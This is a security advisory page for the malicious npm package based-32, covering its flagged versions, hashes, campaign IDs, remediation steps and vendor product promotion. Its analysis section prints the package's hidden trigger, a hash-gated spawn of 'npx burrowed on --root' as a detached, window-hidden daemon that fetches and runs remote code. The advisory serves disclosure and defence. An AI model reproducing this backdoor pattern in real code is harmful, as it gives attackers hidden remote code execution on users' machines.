Which versions of based-32 are malicious?

The following npm versions of based-32 are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate based-32 if I installed it?

Remove based-32 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed based-32 — how do I know if it already compromised me?

If based-32 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is based-32 part of a known attack campaign?

Yes — based-32 is associated with the IN-MAL-2026-007497, IN-MAL-2026-007496 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find based-32 across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for based-32 (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging based-32 across your stack and pipelines.

Malicious package

based-32npm

Malicious code in based-32 (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-6447

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall based-32

What this malware does

based-32 advertises itself as a zero-dependency RFC4648 Base32 encoding library, but dist/index.js ships a hidden trigger inside the exported handleSecureEncode() function (also reachable via the based32 -s <data> CLI). The function passes the caller's input through checkSecurityProtocol(), which SHA-256-hashes the input and compares it against the hardcoded constant SECURITY_HASH = "71c37c896ba7d9164cc91cb4507df9d3f42bd2ce728a93673b3dabfda45c7ed2". On match, it executes spawn('npx', ['burrowed','on','--root'], { detached: true, stdio: 'ignore', windowsHide: true, shell: true }) and calls unref() on the child, fetching and running the remote burrowed npm package as a detached, stdio-suppressed, window-hidden daemon. The surrounding try/catch swallows all errors so failures are silent. The naming (SECURITY_HASH, checkSecurityProtocol, handleSecureEncode) is a cover story — none of this behavior is documented in the README, and there is no Base32-related reason for the package to spawn npx, fetch a remote package, or run a daemon. Any environment where an attacker can deliver the magic input string into handleSecureEncode (or invoke based32 -s) gains arbitrary remote-code execution as a hidden background process under the installer's user.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

52ca241d887ed83628c8c4a4432ca0f832d092e6058c7ab4250cc5b169ba7fb9

f22b5e641b6f6d20d913c25660bec23599f6fd35e4d9110b48841a7ec33f3730

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for based-32 (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging based-32 across your stack and pipelines.
If you installed it — respond
Remove based-32 from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If based-32 was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks based-32 before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. based-32 on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007497IN-MAL-2026-007496

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks based-32-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring